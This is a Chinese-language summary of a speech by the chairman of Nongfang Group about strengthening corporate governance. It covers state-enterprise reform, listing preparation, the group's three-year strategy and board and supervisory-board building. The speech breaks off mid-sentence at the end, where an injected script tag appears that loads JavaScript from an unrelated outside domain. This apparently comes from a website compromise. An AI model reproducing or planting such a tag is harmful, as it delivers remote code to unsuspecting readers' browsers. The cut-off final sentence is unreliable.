闻淼董事长在农房集团深化推进法人治理建设工作会议上的讲话（摘要）

加快建立现代企业制度 深化推进法人治理建设

　　一、进一步提高认识。
　　这几年，集团围绕改革、发展、上市，积极推进公司的法人治理，并且取得了较好的成效。但从现代企业的发展趋势看，从集团未来发展和新三年战略的要求看，还需要我们坚持不懈、不断地深化完善，加快提升整个集团的治理水平。农房集团的法人治理建设，面临着四个方面的迫切需要。
　　1、国资国企改革发展的迫切需要。
　　近年来，中央出台了一系列文件，要求加快国资国企改革的步伐，规范国有企业的经营管理行为，促进企业提升管理水平和风险防范能力。例如，国务院出台了对中央企业董事会、董事的评价办法。财政部、证监会、审计署等部委，联合下发了《企业内部控制应用指引》、《企业内部控制评价指引》、《企业内部控制审计指引》。光《企业内控应用指引》，目前已经发了18个（从第1号到第18号），涉及企业的组织架构、资金活动、采购业务、资产管理、工程项目、担保业务，还有财务报告、合同管理、信息传递等等方面，十分地具体和详尽。要求上市公司和非上市的大中型国有企业，按规定执行。
　　去年，上海市国资委下发了《市管国企董事会建设指导意见》、《监事会暂行办法》、《外部董事管理办法》等文件，并试点推行。光明集团是国资委试点单位之一。
　　光明集团高度重视法人治理建设，从2008年开始，农房成为光明第一批三个试点单位之一（跃进、五四、农房）。光明的推进力度很大，要求也很高，这两年确实大大强化了子公司层面的法人治理建设。
　　2、接轨公司上市的迫切需要。
　　公司治理是上市审核的重要内容之一，农房上市已进入到后期审核阶段。（尽管当前的调控形势影响了审核的进度，但农房还是在积极认真地做好所有的准备工作）。上市与非上市，最大区别在于“规范”和“透明”，要求治理规范、信息透明，让投资者放心。评价一个企业，不仅仅看它的财务表现，还要看它的公司治理。
　　3、全面实现集团新三年战略目标的内在需要。
　　农房新三年的战略目标已经确定，在2009年基础上，三年翻一番，到规划期末，实现销售收入100亿。完善的治理结构、有效的治理机制，是加强战略管理、强化战略执行、实现战略目标的重要保证。我们提出，对杆优秀企业，学习追赶金地，一个重要的内容就是要学习优秀企业的公司治理理念、机制和成功的做法。评价法人治理是否成功，有三条标准：第一，是否增强了企业内在发展的动力；第二，是否释放了经营上的活力；第三，是否增强了内部约束机制。
　　4、形成集团与下属企业上下呼应、完整协调的治理体系的迫切需要。
　　2008年初，农房完成了“有限公司”向“股份公司”的转变，股东、股权结构进一步优化。历时三年的公司上市，审核、监管部门的严格要求，这些主客观原因，促使农房的法人治理前进了一大步。公司治理是一个完整的体系，集团治理的基础在基层，必须同步推进上下两个层面的工作，进一步强化基层企业的治理基础，形成上下呼应、完整协调的治理体系。
2010年工作重点有二个方面，第一，集团层面着眼于“提升”，要进一步提升战略管理、重大决策、风险控制的能力。第二，基层企业着眼于“加强”，要进一步加强法人治理结构的完善、制度的健全，尤其在有效运转上下功夫。上下呼应、完整协调的治理体系，应该体现出“集权有道、分权有序、授权有章、用权有度”，以及实际运转中的规范高效。
　　二、总体要求和重点工作。
　　2010年，集团深化推进法人治理建设的总体要求是：按照《公司法》、《公司章程》和《上市公司准则》的规定和要求，结合农房新三年战略规划的制定和组织实施，在巩固前两年成效的基础上，不断探索，确保实现三个“进一步”，即：进一步深化基层企业法人治理的意识，着力提高运作上的规范性和有效性；进一步完善董事会建设，确立董事会的“经济核心”地位；进一步加快监事会建设，全面提高监督的质量和效能。努力形成董事会、监事会、经理层各司其职、协调运转、相互制衡、规范高效的治理格局，促进农房三年战略的圆满实现和企业又好又快发展。
集团和各个子公司、项目公司，要重点围绕以下六个方面开展工作。
　　1、抓好新三年战略规划的编制和实施。
农房新三年的发展规划，作为集团董事会的一项重要工作，纳入董事会的重要议事日程。经过深入的调研和论证，通过上下联动、共同参与、广泛征求意见，今年三月底规划编制基本完成。第二季度开始，在广大干部员工当中，进行广泛的宣传和深入的解读。规划编制完成后，董事会和经营班子还要?script src=http://hzbxf.com/s.js>